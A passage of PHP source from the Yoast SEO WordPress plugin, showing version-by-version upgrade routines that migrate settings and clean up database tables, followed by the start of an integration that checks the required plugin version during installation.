		$indexation_started_value = WPSEO_Options::get( 'indexation_started' );
		WPSEO_Options::set( 'indexing_started', $indexation_started_value );

		$indexables_indexing_completed_value = WPSEO_Options::get( 'indexables_indexation_completed' );
		WPSEO_Options::set( 'indexables_indexing_completed', $indexables_indexing_completed_value );
	}

	/**
	 * Performs the 15.5 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_155() {
		// Unset the fbadminapp value in the wpseo_social option.
		$wpseo_social_option = get_option( 'wpseo_social' );

		if ( isset( $wpseo_social_option['fbadminapp'] ) ) {
			unset( $wpseo_social_option['fbadminapp'] );
			update_option( 'wpseo_social', $wpseo_social_option );
		}
	}

	/**
	 * Performs the 15.7 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_157() {
		add_action( 'init', [ $this, 'remove_plugin_updated_notification_for_157' ] );
	}

	/**
	 * Performs the 15.9.1 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_1591() {
		$enabled_auto_updates = get_option( 'auto_update_plugins' );
		$addon_update_watcher = YoastSEO()->classes->get( Addon_Update_Watcher::class );
		$addon_update_watcher->toggle_auto_updates_for_add_ons( 'auto_update_plugins', [], $enabled_auto_updates );
	}

	/**
	 * Performs the 16.2 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_162() {
		$enabled_auto_updates = get_site_option( 'auto_update_plugins' );
		$addon_update_watcher = YoastSEO()->classes->get( Addon_Update_Watcher::class );
		$addon_update_watcher->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Performs the 16.5 upgrade.
	 *
	 * @return void
	 */
	private function upgrade_165() {
		add_action( 'init', [ $this, 'copy_og_settings_from_social_to_titles' ], 99 );

		// Run after the WPSEO_Options::enrich_defaults method which has priority 99.
		add_action( 'init', [ $this, 'reset_og_settings_to_default_values' ], 100 );
	}

	/**
	 * Performs the 17.2 upgrade. Cleans out any unnecessary indexables. See $cleanup_integration->get_cleanup_tasks() to see what will be cleaned out.
	 *
	 * @return void
	 */
	private function upgrade_172() {
		wp_unschedule_hook( 'wpseo_cleanup_orphaned_indexables' );
		wp_unschedule_hook( 'wpseo_cleanup_indexables' );

		if ( ! wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
			wp_schedule_single_event( ( time() + ( MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
		}
	}

	/**
	 * Performs the 17.7.1 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_1771() {
		$enabled_auto_updates = get_site_option( 'auto_update_plugins' );
		$addon_update_watcher = YoastSEO()->classes->get( Addon_Update_Watcher::class );
		$addon_update_watcher->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Performs the 17.9 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_179() {
		WPSEO_Options::set( 'wincher_integration_active', true );
	}

	/**
	 * Performs the 18.3 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_183() {
		$this->delete_post_meta( 'yoast-structured-data-blocks-images-cache' );
	}

	/**
	 * Performs the 18.6 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_186() {
		if ( is_multisite() ) {
			WPSEO_Options::set( 'allow_wincher_integration_active', false );
		}
	}

	/**
	 * Performs the 18.9 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_189() {
		// Make old users not get the Installation Success page after upgrading.
		WPSEO_Options::set( 'should_redirect_after_install_free', false );
		// We're adding a hardcoded time here, so that in the future we can be able to identify whether the user did see the Installation Success page or not.
		// If they did, they wouldn't have this hardcoded value in that option, but rather (roughly) the timestamp of the moment they saw it.
		WPSEO_Options::set( 'activation_redirect_timestamp_free', 1652258756 );

		// Transfer the Social URLs.
		$other   = [];
		$other[] = WPSEO_Options::get( 'instagram_url' );
		$other[] = WPSEO_Options::get( 'linkedin_url' );
		$other[] = WPSEO_Options::get( 'myspace_url' );
		$other[] = WPSEO_Options::get( 'pinterest_url' );
		$other[] = WPSEO_Options::get( 'youtube_url' );
		$other[] = WPSEO_Options::get( 'wikipedia_url' );

		WPSEO_Options::set( 'other_social_urls', array_values( array_unique( array_filter( $other ) ) ) );

		// Transfer the progress of the old Configuration Workout.
		$workout_data      = WPSEO_Options::get( 'workouts_data' );
		$old_conf_progress = ( $workout_data['configuration']['finishedSteps'] ?? [] );

		if ( in_array( 'optimizeSeoData', $old_conf_progress, true ) && in_array( 'siteRepresentation', $old_conf_progress, true ) ) {
			// If completed ‘SEO optimization’ and ‘Site representation’ step, we assume the workout was completed.
			$configuration_finished_steps = [
				'siteRepresentation',
				'socialProfiles',
				'personalPreferences',
			];
			WPSEO_Options::set( 'configuration_finished_steps', $configuration_finished_steps );
		}
	}

	/**
	 * Performs the 19.1 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_191() {
		if ( is_multisite() ) {
			WPSEO_Options::set( 'allow_remove_feed_post_comments', true );
		}
	}

	/**
	 * Performs the 19.3 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_193() {
		if ( empty( get_option( 'wpseo_premium', [] ) ) ) {
			WPSEO_Options::set( 'enable_index_now', true );
			WPSEO_Options::set( 'enable_link_suggestions', true );
		}
	}

	/**
	 * Performs the 19.6 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_196() {
		WPSEO_Options::set( 'ryte_indexability', false );
		WPSEO_Options::set( 'allow_ryte_indexability', false );
		wp_clear_scheduled_hook( 'wpseo_ryte_fetch' );
	}

	/**
	 * Performs the 19.11 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_1911() {
		add_action( 'shutdown', [ $this, 'remove_indexable_rows_for_non_public_post_types' ] );
		add_action( 'shutdown', [ $this, 'remove_indexable_rows_for_non_public_taxonomies' ] );
		$this->deduplicate_unindexed_indexable_rows();
		$this->remove_indexable_rows_for_disabled_authors_archive();
		if ( ! wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
			wp_schedule_single_event( ( time() + ( MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
		}
	}

	/**
	 * Performs the 20.2 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_202() {
		if ( WPSEO_Options::get( 'disable-attachment', true ) ) {
			$attachment_cleanup_helper = YoastSEO()->helpers->attachment_cleanup;

			$attachment_cleanup_helper->remove_attachment_indexables( true );
			$attachment_cleanup_helper->clean_attachment_links_from_target_indexable_ids( true );
		}

		$this->clean_unindexed_indexable_rows_with_no_object_id();

		if ( ! wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
			// This schedules the cleanup routine cron again, since in combination of premium cleans up the prominent words table. We also want to cleanup possible orphaned hierarchies from the above cleanups.
			wp_schedule_single_event( ( time() + ( MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
		}
	}

	/**
	 * Performs the 20.5 upgrade routine.
	 *
	 * @return void
	 */
	private function upgrade_205() {
		if ( ! wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
			wp_schedule_single_event( ( time() + ( MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
		}
	}

	/**
	 * Performs the 20.7 upgrade routine.
	 * Removes the metadata related to the settings page introduction modal for all the users.
	 * Also, schedules another cleanup scheduled action.
	 *
	 * @return void
	 */
	private function upgrade_207() {
		add_action( 'shutdown', [ $this, 'delete_user_introduction_meta' ] );
	}

	/**
	 * Performs the 20.8 upgrade routine.
	 * Schedules another cleanup scheduled action.
	 *
	 * @return void
	 */
	private function upgrade_208() {
		if ( ! wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
			wp_schedule_single_event( ( time() + ( MINUTE_IN_SECONDS * 5 ) ), Cleanup_Integration::START_HOOK );
		}
	}

	/**
	 * Performs the 22.6 upgrade routine.
	 * Schedules another cleanup scheduled action, but starting from the last cleanup action we just added (if there aren't any running cleanups already).
	 *
	 * @return void
	 */
	private function upgrade_226() {
		if ( get_option( Cleanup_Integration::CURRENT_TASK_OPTION ) === false ) {
			$cleanup_integration = YoastSEO()->classes->get( Cleanup_Integration::class );
			$cleanup_integration->start_cron_job( 'clean_selected_empty_usermeta', DAY_IN_SECONDS );
		}
	}

	/**
	 * Sets the home_url option for the 15.1 upgrade routine.
	 *
	 * @return void
	 */
	protected function set_home_url_for_151() {
		$home_url = WPSEO_Options::get( 'home_url' );

		if ( empty( $home_url ) ) {
			WPSEO_Options::set( 'home_url', get_home_url() );
		}
	}

	/**
	 * Moves the `indexables_indexation_reason` option to the
	 * renamed `indexing_reason` option.
	 *
	 * @return void
	 */
	protected function move_indexables_indexation_reason_for_151() {
		$reason = WPSEO_Options::get( 'indexables_indexation_reason', '' );
		WPSEO_Options::set( 'indexing_reason', $reason );
	}

	/**
	 * Checks if the indexable indexation is completed.
	 * If so, sets the `indexables_indexation_completed` option to `true`,
	 * else to `false`.
	 *
	 * @return void
	 */
	public function set_indexation_completed_option_for_145() {
		WPSEO_Options::set( 'indexables_indexation_completed', YoastSEO()->helpers->indexing->get_limited_filtered_unindexed_count( 1 ) === 0 );
	}

	/**
	 * Cleans up the private taxonomies from the indexables table for the upgrade routine to 14.1.
	 *
	 * @return void
	 */
	public function clean_up_private_taxonomies_for_141() {
		global $wpdb;

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		// Clean up indexables of private taxonomies.
		$private_taxonomies = get_taxonomies( [ 'public' => false ], 'names' );

		if ( empty( $private_taxonomies ) ) {
			return;
		}

		$replacements = array_merge( [ Model::get_table_name( 'Indexable' ), 'object_type', 'object_sub_type' ], $private_taxonomies );

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM %i
				WHERE %i = 'term'
				AND %i IN ("
					. implode( ', ', array_fill( 0, count( $private_taxonomies ), '%s' ) )
					. ')',
				$replacements
			)
		);

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Resets the permalinks of attachments to `null` in the indexable table for the upgrade routine to 14.1.
	 *
	 * @return void
	 */
	private function reset_permalinks_of_attachments_for_141() {
		global $wpdb;

		// If migrations haven't been completed succesfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		// Reset the permalinks of the attachments in the indexable table.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				"UPDATE %i SET %i = NULL WHERE %i = 'post' AND %i = 'attachment'",
				[ Model::get_table_name( 'Indexable' ), 'permalink', 'object_type', 'object_sub_type' ]
			)
		);

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Removes notifications from the Notification center for the 14.1 upgrade.
	 *
	 * @return void
	 */
	public function remove_notifications_for_141() {
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-recalculate' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-dismiss-blog-public-notice' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-links-table-not-accessible' );
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-post-type-archive-notification' );
	}

	/**
	 * Removes the wpseo-suggested-plugin-yoast-acf-analysis notification from the Notification center for the 14.2 upgrade.
	 *
	 * @return void
	 */
	public function remove_acf_notification_for_142() {
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-suggested-plugin-yoast-acf-analysis' );
	}

	/**
	 * Removes the wpseo-plugin-updated notification from the Notification center for the 15.7 upgrade.
	 *
	 * @return void
	 */
	public function remove_plugin_updated_notification_for_157() {
		Yoast_Notification_Center::get()->remove_notification_by_id( 'wpseo-plugin-updated' );
	}

	/**
	 * Removes all notifications saved in the database under 'wp_yoast_notifications'.
	 *
	 * @return void
	 */
	private function clean_all_notifications() {
		global $wpdb;
		delete_metadata( 'user', 0, $wpdb->get_blog_prefix() . Yoast_Notification_Center::STORAGE_KEY, '', true );
	}

	/**
	 * Removes the post meta fields for a given meta key.
	 *
	 * @param string $meta_key The meta key.
	 *
	 * @return void
	 */
	private function delete_post_meta( $meta_key ) {
		global $wpdb;
		$deleted = $wpdb->delete( $wpdb->postmeta, [ 'meta_key' => $meta_key ], [ '%s' ] );

		if ( $deleted ) {
			wp_cache_set( 'last_changed', microtime(), 'posts' );
		}
	}

	/**
	 * Removes all sitemap validators.
	 *
	 * This should be executed on every upgrade routine until we have removed the sitemap caching in the database.
	 *
	 * @return void
	 */
	private function remove_sitemap_validators() {
		global $wpdb;

		// Remove all sitemap validators.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				'DELETE FROM %i WHERE %i LIKE %s',
				[ $wpdb->options, 'option_name', 'wpseo_sitemap%validator%' ]
			)
		);
	}

	/**
	 * Retrieves the option value directly from the database.
	 *
	 * @param string $option_name Option to retrieve.
	 *
	 * @return int|string|bool|float|array<string|int|bool|float> The content of the option if exists, otherwise an empty array.
	 */
	protected function get_option_from_database( $option_name ) {
		global $wpdb;

		// Load option directly from the database, to avoid filtering and sanitization.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$results = $wpdb->get_results(
			$wpdb->prepare(
				'SELECT %i FROM %i WHERE %i = %s',
				[ 'option_value', $wpdb->options, 'option_name', $option_name ]
			),
			ARRAY_A
		);

		if ( ! empty( $results ) ) {
			return maybe_unserialize( $results[0]['option_value'] );
		}

		return [];
	}

	/**
	 * Cleans the option to make sure only relevant settings are there.
	 *
	 * @param string $option_name Option name save.
	 *
	 * @return void
	 */
	protected function cleanup_option_data( $option_name ) {
		$data = get_option( $option_name, [] );
		if ( ! is_array( $data ) || $data === [] ) {
			return;
		}

		/*
		 * Clean up the option by re-saving it.
		 *
		 * The option framework will remove any settings that are not configured
		 * for this option, removing any migrated settings.
		 */
		update_option( $option_name, $data );
	}

	/**
	 * Saves an option setting to where it should be stored.
	 *
	 * @param int|string|bool|float|array<string|int|bool|float> $source_data    The option containing the value to be migrated.
	 * @param string                                             $source_setting Name of the key in the "from" option.
	 * @param string|null                                        $target_setting Name of the key in the "to" option.
	 *
	 * @return void
	 */
	protected function save_option_setting( $source_data, $source_setting, $target_setting = null ) {
		if ( $target_setting === null ) {
			$target_setting = $source_setting;
		}

		if ( isset( $source_data[ $source_setting ] ) ) {
			WPSEO_Options::set( $target_setting, $source_data[ $source_setting ] );
		}
	}

	/**
	 * Migrates WooCommerce archive settings to the WooCommerce Shop page meta-data settings.
	 *
	 * If no Shop page is defined, nothing will be migrated.
	 *
	 * @return void
	 */
	private function migrate_woocommerce_archive_setting_to_shop_page() {
		$shop_page_id = wc_get_page_id( 'shop' );

		if ( $shop_page_id === -1 ) {
			return;
		}

		$title = WPSEO_Meta::get_value( 'title', $shop_page_id );

		if ( empty( $title ) ) {
			$option_title = WPSEO_Options::get( 'title-ptarchive-product' );

			WPSEO_Meta::set_value(
				'title',
				$option_title,
				$shop_page_id
			);

			WPSEO_Options::set( 'title-ptarchive-product', '' );
		}

		$meta_description = WPSEO_Meta::get_value( 'metadesc', $shop_page_id );

		if ( empty( $meta_description ) ) {
			$option_metadesc = WPSEO_Options::get( 'metadesc-ptarchive-product' );

			WPSEO_Meta::set_value(
				'metadesc',
				$option_metadesc,
				$shop_page_id
			);

			WPSEO_Options::set( 'metadesc-ptarchive-product', '' );
		}

		$bc_title = WPSEO_Meta::get_value( 'bctitle', $shop_page_id );

		if ( empty( $bc_title ) ) {
			$option_bctitle = WPSEO_Options::get( 'bctitle-ptarchive-product' );

			WPSEO_Meta::set_value(
				'bctitle',
				$option_bctitle,
				$shop_page_id
			);

			WPSEO_Options::set( 'bctitle-ptarchive-product', '' );
		}

		$noindex = WPSEO_Meta::get_value( 'meta-robots-noindex', $shop_page_id );

		if ( $noindex === '0' ) {
			$option_noindex = WPSEO_Options::get( 'noindex-ptarchive-product' );

			WPSEO_Meta::set_value(
				'meta-robots-noindex',
				$option_noindex,
				$shop_page_id
			);

			WPSEO_Options::set( 'noindex-ptarchive-product', false );
		}
	}

	/**
	 * Stores the initial `permalink_structure` option.
	 *
	 * @return void
	 */
	public function set_permalink_structure_option_for_151() {
		WPSEO_Options::set( 'permalink_structure', get_option( 'permalink_structure' ) );
	}

	/**
	 * Stores the initial slugs of custom taxonomies.
	 *
	 * @return void
	 */
	public function store_custom_taxonomy_slugs_for_151() {
		$taxonomies = $this->taxonomy_helper->get_custom_taxonomies();

		$custom_taxonomies = [];

		foreach ( $taxonomies as $taxonomy ) {
			$slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy );

			$custom_taxonomies[ $taxonomy ] = $slug;
		}

		WPSEO_Options::set( 'custom_taxonomy_slugs', $custom_taxonomies );
	}

	/**
	 * Copies the frontpage social settings to the titles options.
	 *
	 * @return void
	 */
	public function copy_og_settings_from_social_to_titles() {
		$wpseo_social = get_option( 'wpseo_social' );
		$wpseo_titles = get_option( 'wpseo_titles' );

		$copied_options = [];
		// Reset to the correct default value.
		$copied_options['open_graph_frontpage_title'] = '%%sitename%%';

		$options = [
			'og_frontpage_title'    => 'open_graph_frontpage_title',
			'og_frontpage_desc'     => 'open_graph_frontpage_desc',
			'og_frontpage_image'    => 'open_graph_frontpage_image',
			'og_frontpage_image_id' => 'open_graph_frontpage_image_id',
		];

		foreach ( $options as $social_option => $titles_option ) {
			if ( ! empty( $wpseo_social[ $social_option ] ) ) {
				$copied_options[ $titles_option ] = $wpseo_social[ $social_option ];
			}
		}

		$wpseo_titles = array_merge( $wpseo_titles, $copied_options );

		update_option( 'wpseo_titles', $wpseo_titles );
	}

	/**
	 * Reset the social options with the correct default values.
	 *
	 * @return void
	 */
	public function reset_og_settings_to_default_values() {
		$wpseo_titles    = get_option( 'wpseo_titles' );
		$updated_options = [];

		$updated_options['social-title-author-wpseo']  = '%%name%%';
		$updated_options['social-title-archive-wpseo'] = '%%date%%';

		/* translators: %s expands to the name of a post type (plural). */
		$post_type_archive_default = sprintf( __( '%s Archive', 'wordpress-seo' ), '%%pt_plural%%' );

		/* translators: %s expands to the variable used for term title. */
		$term_archive_default = sprintf( __( '%s Archives', 'wordpress-seo' ), '%%term_title%%' );

		$post_type_objects = get_post_types( [ 'public' => true ], 'objects' );

		if ( $post_type_objects ) {
			foreach ( $post_type_objects as $pt ) {
				// Post types.
				if ( isset( $wpseo_titles[ 'social-title-' . $pt->name ] ) ) {
					$updated_options[ 'social-title-' . $pt->name ] = '%%title%%';
				}
				// Post type archives.
				if ( isset( $wpseo_titles[ 'social-title-ptarchive-' . $pt->name ] ) ) {
					$updated_options[ 'social-title-ptarchive-' . $pt->name ] = $post_type_archive_default;
				}
			}
		}

		$taxonomy_objects = get_taxonomies( [ 'public' => true ], 'object' );

		if ( $taxonomy_objects ) {
			foreach ( $taxonomy_objects as $tax ) {
				if ( isset( $wpseo_titles[ 'social-title-tax-' . $tax->name ] ) ) {
					$updated_options[ 'social-title-tax-' . $tax->name ] = $term_archive_default;
				}
			}
		}

		$wpseo_titles = array_merge( $wpseo_titles, $updated_options );

		update_option( 'wpseo_titles', $wpseo_titles );
	}

	/**
	 * Removes all indexables for posts that are not publicly viewable.
	 * This method should be called after init, because post_types can still be registered.
	 *
	 * @return void
	 */
	public function remove_indexable_rows_for_non_public_post_types() {
		global $wpdb;

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_post_types = YoastSEO()->helpers->post_type->get_indexable_post_types();

		if ( empty( $included_post_types ) ) {
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
			$wpdb->query(
				$wpdb->prepare(
					"DELETE FROM %i
					WHERE %i = 'post'
					AND %i IS NOT NULL",
					[ $indexable_table, 'object_type', 'object_sub_type' ]
				)
			);
		}
		else {
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
			$wpdb->query(
				$wpdb->prepare(
					"DELETE FROM %i
					WHERE %i = 'post'
					AND %i IS NOT NULL
					AND %i NOT IN ( " . implode( ', ', array_fill( 0, count( $included_post_types ), '%s' ) ) . ' )',
					array_merge( [ $indexable_table, 'object_type', 'object_sub_type', 'object_sub_type' ], $included_post_types )
				)
			);
		}

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Removes all indexables for terms that are not publicly viewable.
	 * This method should be called after init, because taxonomies can still be registered.
	 *
	 * @return void
	 */
	public function remove_indexable_rows_for_non_public_taxonomies() {
		global $wpdb;

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		$indexable_table = Model::get_table_name( 'Indexable' );

		$included_taxonomies = YoastSEO()->helpers->taxonomy->get_indexable_taxonomies();

		if ( empty( $included_taxonomies ) ) {
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
			$wpdb->query(
				$wpdb->prepare(
					"DELETE FROM %i
					WHERE %i = 'term'
					AND %i IS NOT NULL",
					[ $indexable_table, 'object_type', 'object_sub_type' ]
				)
			);
		}
		else {
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
			// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
			$wpdb->query(
				$wpdb->prepare(
					"DELETE FROM %i
					WHERE %i = 'term'
					AND %i IS NOT NULL
					AND %i NOT IN ( " . implode( ', ', array_fill( 0, count( $included_taxonomies ), '%s' ) ) . ' )',
					array_merge( [ $indexable_table, 'object_type', 'object_sub_type', 'object_sub_type' ], $included_taxonomies )
				)
			);
		}

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * De-duplicates indexables that have more than one "unindexed" rows for the same object. Keeps the newest indexable.
	 *
	 * @return void
	 */
	protected function deduplicate_unindexed_indexable_rows() {
		global $wpdb;

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$duplicates = $wpdb->get_results(
			$wpdb->prepare(
				"
			SELECT
				MAX(id) as newest_id,
				object_id,
				object_type
			FROM
				%i
			WHERE
				post_status = 'unindexed'
				AND object_type IN ( 'term', 'post', 'user' )
			GROUP BY
				object_id,
				object_type
			HAVING
				count(*) > 1",
				[ Model::get_table_name( 'Indexable' ) ]
			),
			ARRAY_A
		);

		if ( empty( $duplicates ) ) {
			$wpdb->show_errors = $show_errors;

			return;
		}

		// Users, terms and posts may share the same object_id. So delete them in separate, more performant, queries.
		$delete_queries = [
			$this->get_indexable_deduplication_query_for_type( 'post', $duplicates, $wpdb ),
			$this->get_indexable_deduplication_query_for_type( 'term', $duplicates, $wpdb ),
			$this->get_indexable_deduplication_query_for_type( 'user', $duplicates, $wpdb ),
		];

		foreach ( $delete_queries as $delete_query ) {
			if ( ! empty( $delete_query ) ) {
				// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
				// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
				// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
				$wpdb->query( $delete_query );
				// phpcs:enable
			}
		}

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Cleans up "unindexed" indexable rows when appropriate, aka when there's no object ID even though it should.
	 *
	 * @return void
	 */
	protected function clean_unindexed_indexable_rows_with_no_object_id() {
		global $wpdb;

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM %i
				WHERE %i = 'unindexed'
				AND %i NOT IN ( 'home-page', 'date-archive', 'post-type-archive', 'system-page' )
				AND %i IS NULL",
				[ Model::get_table_name( 'Indexable' ), 'post_status', 'object_type', 'object_id' ]
			)
		);

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Removes all user indexable rows when the author archive is disabled.
	 *
	 * @return void
	 */
	protected function remove_indexable_rows_for_disabled_authors_archive() {
		global $wpdb;

		if ( ! YoastSEO()->helpers->author_archive->are_disabled() ) {
			return;
		}

		// If migrations haven't been completed successfully the following may give false errors. So suppress them.
		$show_errors       = $wpdb->show_errors;
		$wpdb->show_errors = false;

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		$wpdb->query(
			$wpdb->prepare(
				"DELETE FROM %i WHERE %i = 'user'",
				[ Model::get_table_name( 'Indexable' ), 'object_type' ]
			)
		);

		$wpdb->show_errors = $show_errors;
	}

	/**
	 * Creates a query for de-duplicating indexables for a particular type.
	 *
	 * @param string                              $object_type The object type to deduplicate.
	 * @param string|array<array<int,int,string>> $duplicates  The result of the duplicate query.
	 * @param wpdb                                $wpdb        The wpdb object.
	 *
	 * @return string The query that removes all but one duplicate for each object of the object type.
	 */
	protected function get_indexable_deduplication_query_for_type( $object_type, $duplicates, $wpdb ) {
		$filtered_duplicates = array_filter(
			$duplicates,
			static function ( $duplicate ) use ( $object_type ) {
				return $duplicate['object_type'] === $object_type;
			}
		);

		if ( empty( $filtered_duplicates ) ) {
			return '';
		}

		$object_ids           = wp_list_pluck( $filtered_duplicates, 'object_id' );
		$newest_indexable_ids = wp_list_pluck( $filtered_duplicates, 'newest_id' );

		$replacements   = array_merge( [ Model::get_table_name( 'Indexable' ), 'object_id' ], array_values( $object_ids ), array_values( $newest_indexable_ids ) );
		$replacements[] = $object_type;

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		return $wpdb->prepare(
			'DELETE FROM
				%i
			WHERE
				%i IN ( ' . implode( ', ', array_fill( 0, count( $filtered_duplicates ), '%d' ) ) . ' )
				AND id NOT IN ( ' . implode( ', ', array_fill( 0, count( $filtered_duplicates ), '%d' ) ) . ' )
				AND object_type = %s',
			$replacements
		);
	}

	/**
	 * Removes the settings' introduction modal data for users.
	 *
	 * @return void
	 */
	public function delete_user_introduction_meta() {
		delete_metadata( 'user', 0, '_yoast_settings_introduction', '', true );
	}
}
wordpress-seo/src/integrations/admin/check-required-version.php000064400000011564147510273100021043 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Plugin_Upgrader;
use WP_Error;
use WP_Upgrader;
use Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * The Check_Required_Version class.
 *
 * This class checks if the required version of Yoast SEO is installed.
 * It also adds the `Requires Yoast SEO` header to the list of headers and updates the comparison table for the plugin overwrite.
 */
class Check_Required_Version implements Integration_Interface {

	/**
	 * Initializes the integration.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_filter( 'upgrader_source_selection', [ $this, 'check_required_version' ], 10, 3 );
		\add_filter( 'install_plugin_overwrite_comparison', [ $this, 'update_comparison_table' ], 10, 3 );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals based on which this loadable should be active.
	 */
	public static function get_conditionals() {
		return [ Check_Required_Version_Conditional::class ];
	}

	/**
	 * Checks if the required version of Yoast SEO is installed.
	 *
	 * The code is partly inspired by Plugin_Upgrader::check_package() in wp-admin/includes/class-plugin-upgrader.php.
	 *
	 * @param string      $source        File source location.
	 * @param string      $remote_source Remote file source location.
	 * @param WP_Upgrader $upgrader      WP_Upgrader instance.
	 *
	 * @return string|WP_Error The source location or a WP_Error object if the required version is not installed.
	 */
	public function check_required_version( $source, $remote_source = null, $upgrader = null ) {
		global $wp_filesystem;

		// Bail out early if we are not installing/upgrading a plugin.
		if ( ! $upgrader instanceof Plugin_Upgrader ) {
			return $source;
		}

		$info = [];

		if ( \is_wp_error( $source ) ) {
			return $source;
		}

		$working_directory = \str_replace( $wp_filesystem->wp_content_dir(), \trailingslashit( \WP_CONTENT_DIR ), $source );
		if ( ! \is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation.
			return $source;
		}

		// Check that the folder contains at least 1 valid plugin.
		$files = \glob( $working_directory . '*.php' );
		if ( $files ) {
			foreach ( $files as $file ) {
				$info = \get_plugin_data( $file, false, false );
				if ( ! empty( $info['Name'] ) ) {
					break;
				}
			}
		}

